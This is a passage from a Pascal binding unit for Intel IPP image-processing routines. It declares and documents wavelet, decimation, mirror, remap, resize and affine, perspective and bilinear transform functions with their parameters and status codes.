images must have valid and accessible border data outside of ROI.
Only the same ROI size for source images supported. Destination ROI size
should be calculated by next rule:
dstRoiSize.width = 2 * srcRoiSize.width;
dstRoiSize.height = 2 * srcRoiSize.height.
Monikers for the source images are in accordance with decomposition destination.
}
function ippiWTInv_32f_C1R( pApproxSrc : Ipp32fPtr ; approxStep : Int32 ; pDetailXSrc : Ipp32fPtr ; detailXStep : Int32 ; pDetailYSrc : Ipp32fPtr ; detailYStep : Int32 ; pDetailXYSrc : Ipp32fPtr ; detailXYStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; pSpec : IppiWTInvSpec_32f_C1RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWTInv_32f_C3R( pApproxSrc : Ipp32fPtr ; approxStep : Int32 ; pDetailXSrc : Ipp32fPtr ; detailXStep : Int32 ; pDetailYSrc : Ipp32fPtr ; detailYStep : Int32 ; pDetailXYSrc : Ipp32fPtr ; detailXYStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; pSpec : IppiWTInvSpec_32f_C3RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image resampling functions
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiDecimateFilterRow_8u_C1R,
ippiDecimateFilterColumn_8u_C1R
Purpose: Decimate the image with specified filters
in horizontal or vertical directions
Parameters:
pSrc source image data
srcStep step in source image
srcRoiSize region of interest of source image
pDst resultant image data
dstStep step in destination image
fraction they specify fractions of decimating
Returns:
ippStsNoErr no errors
ippStsNullPtrErr one of the pointers is NULL
ippStsStepErr one of the step values is zero or negative
ippStsSizeErr srcRoiSize has a field with negative or zero value
ippStsDecimateFractionErr (fraction != ippPolyphase_1_2) &&
(fraction != ippPolyphase_3_5) &&
(fraction != ippPolyphase_2_3) &&
(fraction != ippPolyphase_7_10) &&
(fraction != ippPolyphase_3_4)
}
function ippiDecimateFilterRow_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; fraction : IppiFraction ): IppStatus; _ippapi
function ippiDecimateFilterColumn_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; fraction : IppiFraction ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Geometric Transform functions
----------------------------------------------------------------------------
Name: ippiMirror
Purpose: Mirrors an image about a horizontal
or vertical axis, or both
Context:
Returns: IppStatus
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr, roiSize has a field with zero or negative value
ippStsMirrorFlipErr (flip != ippAxsHorizontal) &&
(flip != ippAxsVertical) &&
(flip != ippAxsBoth)
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
flip Specifies the axis to mirror the image about:
ippAxsHorizontal horizontal axis,
ippAxsVertical vertical axis,
ippAxsBoth both horizontal and vertical axes
Notes:
}
function ippiMirror_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C1IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C3IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_AC4IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32s_C4IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
function ippiMirror_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; flip : IppiAxis ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRemap
Purpose: Transforms the source image by remapping its pixels
dst[i,j] = src[xMap[i,j], yMap[i,j]]
Parameters:
pSrc Pointer to the source image (point to pixel (0,0)). An array
of pointers to each plane of the source image for planar data
srcSize Size of the source image
srcStep Step through the source image
srcROI Region if interest in the source image
pxMap Pointer to image with x coordinates of map
xMapStep The step in xMap image
pyMap The pointer to image with y coordinates of map
yMapStep The step in yMap image
pDst Pointer to the destination image. An array of pointers
to each plane of the destination image for planar data
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
interpolation The type of interpolation to perform for image resampling
The following types are currently supported:
IPPI_INTER_NN Nearest neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic interpolation
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom cubic filter
IPPI_INTER_LANCZOS Interpolation by Lanczos3-windowed sinc function
The special feature in addition to one of general methods:
IPPI_SMOOTH_EDGE Edges smoothing
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr srcROI or dstRoiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
ippStsInterpolateErr interpolation has an illegal value
}
function ippiRemap_8u_C1R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_8u_C3R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_8u_C4R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_8u_AC4R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16u_C1R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16u_C3R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16u_C4R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16u_AC4R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16s_C1R( pSrc : Ipp16sPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16s_C3R( pSrc : Ipp16sPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16s_C4R( pSrc : Ipp16sPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_16s_AC4R( pSrc : Ipp16sPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_32f_C1R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_32f_C3R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_32f_C4R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_32f_AC4R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp32fPtr ; xMapStep : Int32 ; pyMap : Ipp32fPtr ; yMapStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_64f_C1R( pSrc : Ipp64fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp64fPtr ; xMapStep : Int32 ; pyMap : Ipp64fPtr ; yMapStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_64f_C3R( pSrc : Ipp64fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp64fPtr ; xMapStep : Int32 ; pyMap : Ipp64fPtr ; yMapStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_64f_C4R( pSrc : Ipp64fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp64fPtr ; xMapStep : Int32 ; pyMap : Ipp64fPtr ; yMapStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
function ippiRemap_64f_AC4R( pSrc : Ipp64fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pxMap : Ipp64fPtr ; xMapStep : Int32 ; pyMap : Ipp64fPtr ; yMapStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation: Word32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Resize functions
----------------------------------------------------------------------------
Name: ippiResizeFilterGetSize_8u_C1R
Purpose: Computes pState size for resize filter (in bytes)
Parameters:
srcRoiSize region of interest of source image
dstRoiSize region of interest of destination image
filter type of resize filter
pSize pointer to State size
Returns:
ippStsNoErr no errors
ippStsSizeErr width or height of images is less or equal to zero
ippStsNotSupportedModeErr filter type is not supported
ippStsNullPtrErr pointer to buffer size is NULL
}
function ippiResizeFilterGetSize_8u_C1R( srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; filter : IppiResizeFilterType ; pSize : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeFilterInit_8u_C1R
Purpose: Initialization of State for resize filter
Parameters:
pState pointer to State
srcRoiSize region of interest of source image
dstRoiSize region of interest of destination image
filter type of resize filter
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pointer to Spec is NULL
ippStsSizeErr width or height of images is less or equal to zero
ippStsNotSupportedModeErr filter type is not supported
}
function ippiResizeFilterInit_8u_C1R( pState : IppiResizeFilterStatePtr ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; filter : IppiResizeFilterType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeFilter_8u_C1R
Purpose: Performs RESIZE transform using generic filter
Parameters:
pSrc source image data
srcStep step in source image
srcRoiSize region of interest of source image
pDst resultant image data
dstStep step in destination image
dstRoiSize region of interest of destination image
pState pointer to filter state
Return:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pState == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr width or height of images is less or equal to zero
ippStsContextMatchErr invalid context structure
}
function ippiResizeFilter_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiResizeFilterStatePtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Resize functions. YUY2 pixel format
----------------------------------------------------------------------------
Name: ippiResizeYCbCr422GetBufSize
Purpose: Computes the size of an external work buffer (in bytes)
Parameters:
srcROI region of interest of source image
dstRoiSize region of interest of destination image
interpolation type of interpolation to perform for resizing the input image:
IPPI_INTER_NN Nearest Neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic interpolation
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom cubic filter
IPPI_INTER_LANCZOS Lanczos3 filter
pSize pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSize == NULL
ippStsSizeErr width of src or dst image is less than two, or
height of src or dst image is less than one
ippStsDoubleSize width of src or dst image doesn`t multiple of two (indicates warning)
ippStsInterpolationErr interpolation has an illegal value
}
function ippiResizeYCbCr422GetBufSize( srcROI : IppiRect ; dstRoiSize : IppiSize ; interpolation : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{
Name: ippiResizeYCbCr422_8u_C2R
Purpose: Performs RESIZE transform for image with YCbCr422 pixel format
Parameters:
pSrc source image data
srcSize size of source image
srcStep step in source image
srcROI region of interest of source image
pDst resultant image data
dstStep step in destination image
dstRoiSize region of interest of destination image
interpolation type of interpolation to perform for resizing the input image:
IPPI_INTER_NN Nearest Neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic interpolation
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom cubic filter
IPPI_INTER_LANCZOS Lanczos3 filter
pBuffer pointer to work buffer
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pBuffer == NULL
ippStsSizeErr width of src or dst image is less than two, or
height of src or dst image is less than one
ippStsDoubleSize width of src or dst image doesn`t multiple of two (indicates warning)
ippStsWrongIntersectROI srcROI has not intersection with the source image, no operation
ippStsInterpolationErr interpolation has an illegal value
Note:
YUY2 pixel format (Y0U0Y1V0,Y2U1Y3V1,.. or Y0Cb0Y1Cr0, Y2Cb1Y3Cr1,..)
}
function ippiResizeYCbCr422_8u_C2R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Affine Transform functions
----------------------------------------------------------------------------
Name: ippiGetAffineBound
Purpose: Computes the bounding rectangle of the transformed image ROI
Parameters:
srcROI Source image ROI
coeffs The affine transform matrix
|X'| |a11 a12| |X| |a13|
| | = | |*| |+| |
|Y'| |a21 a22| |Y| |a23|
bound Resultant bounding rectangle
Returns:
ippStsNoErr OK
}
function ippiGetAffineBound( srcROI : IppiRect ; bound : double_2_2 ; const coeffs : double_2_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetAffineQuad
Purpose: Computes coordinates of the quadrangle to which a source ROI is mapped
Parameters:
srcROI Source image ROI
coeffs The affine transform matrix
|X'| |a11 a12| |X| |a13|
| | = | |*| |+| |
|Y'| |a21 a22| |Y| |a23|
quad Resultant quadrangle
Returns:
ippStsNoErr OK
}
function ippiGetAffineQuad( srcROI : IppiRect ; quad : double_4_2 ; const coeffs : double_2_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetAffineTransform
Purpose: Computes coefficients to transform a source ROI to a given quadrangle
Parameters:
srcROI Source image ROI.
coeffs The resultant affine transform matrix
|X'| |a11 a12| |X| |a13|
| | = | |*| |+| |
|Y'| |a21 a22| |Y| |a23|
quad Vertex coordinates of the quadrangle
Returns:
ippStsNoErr OK
Notes: The function computes the coordinates of the 4th vertex of the quadrangle
that uniquely depends on the three other (specified) vertices.
If the computed coordinates are not equal to the ones specified in quad,
the function returns the warning message and continues operation with the computed values
}
function ippiGetAffineTransform( srcROI : IppiRect ; const quad : double_4_2 ; coeffs : double_2_3 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetRotateShift
Purpose: Calculates shifts for ippiRotate function to rotate an image
around the specified center (xCenter, yCenter)
Parameters:
xCenter, yCenter Coordinates of the center of rotation
angle The angle of clockwise rotation, degrees
xShift, yShift Pointers to the shift values
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers to the output data is NULL
}
function ippiGetRotateShift( xCenter : double ; yCenter : double ; angle : double ; var xShift : double ; var yShift : double ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetRotateTransform
Purpose: Computes the affine coefficients for the transform that
rotates an image around (0, 0) by specified angle + shifts it
| cos(angle) sin(angle) xShift|
| |
|-sin(angle) cos(angle) yShift|
Parameters:
srcROI Source image ROI
angle The angle of rotation in degrees
xShift, yShift The shift along the corresponding axis
coeffs Output array with the affine transform coefficients
Returns:
ippStsNoErr OK
ippStsOutOfRangeErr Indicates an error if the angle is NaN or Infinity
}
function ippiGetRotateTransform( angle : double ; xShift : double ; yShift : double ; var coeffs : double_2_3 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetPerspectiveBound
Purpose: Computes the bounding rectangle for the transformed image ROI
Context:
Returns: IppStatus.
ippStsNoErr OK
Parameters:
srcROI Source image ROI.
coeffs The perspective transform matrix
a11*j + a12*i + a13
x = -------------------
a31*j + a32*i + a33
a21*j + a22*i + a23
y = -------------------
a31*j + a32*i + a33
bound Output array with vertex coordinates of the bounding rectangle
Notes:
}
function ippiGetPerspectiveBound( srcROI : IppiRect ; var bound : double_2_2 ; const coeffs : double_3_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetPerspectiveQuad
Purpose: Computes the quadrangle to which the source ROI would be mapped
Context:
Returns: IppStatus
ippStsNoErr OK
Parameters:
srcROI Source image ROI
coeffs The perspective transform matrix
a11*j + a12*i + a13
x = -------------------
a31*j + a32*i + a33
a21*j + a22*i + a23
y = -------------------
a31*j + a32*i + a33
quadr Output array with vertex coordinates of the quadrangle
Notes:
}
function ippiGetPerspectiveQuad( srcROI : IppiRect ; var quad : double_4_2 ; const coeffs : double_3_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetPerspectiveTransform
Purpose: Computes perspective transform matrix to transform the source ROI
to the given quadrangle
Context:
Returns: IppStatus.
ippStsNoErr OK
Parameters:
srcROI Source image ROI.
coeffs The resultant perspective transform matrix
a11*j + a12*i + a13
x = -------------------
a31*j + a32*i + a33
a21*j + a22*i + a23
y = -------------------
a31*j + a32*i + a33
quad Vertex coordinates of the quadrangle
Notes:
}
function ippiGetPerspectiveTransform( srcROI : IppiRect ; const quad : double_4_2 ; var coeffs : double_3_3 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetBilinearBound
Purpose: Computes the bounding rectangle for the transformed image ROI
Context:
Returns: IppStatus.
ippStsNoErr OK
Parameters:
srcROI Source image ROI.
coeffs The bilinear transform matrix
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
bound Output array with vertex coordinates of the bounding rectangle
Notes:
}
function ippiGetBilinearBound( srcROI : IppiRect ; bound : double_2_2 ; const coeffs : double_2_4): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetBilinearQuad
Purpose: Computes the quadrangle to which the source ROI would be mapped
Context:
Returns: IppStatus.
ippStsNoErr OK
Parameters:
srcROI Source image ROI.
coeffs The bilinear transform matrix
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
quadr Output array with vertex coordinates of the quadrangle
Notes:
}
function ippiGetBilinearQuad( srcROI : IppiRect ; quad : double_4_2 ; const coeffs : double_2_4): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetBilinearTransform
Purpose: Computes bilinear transform matrix to transform the source ROI
to the given quadrangle
Context:
Returns: IppStatus.
ippStsNoErr OK
Parameters:
srcROI Source image ROI.
coeffs The resultant bilinear transform matrix
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
quad Vertex coordinates of the quadrangle
Notes:
}
function ippiGetBilinearTransform( srcROI : IppiRect ; const quad : double_4_2 ; coeffs : double_2_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpBilinearGetBufferSize
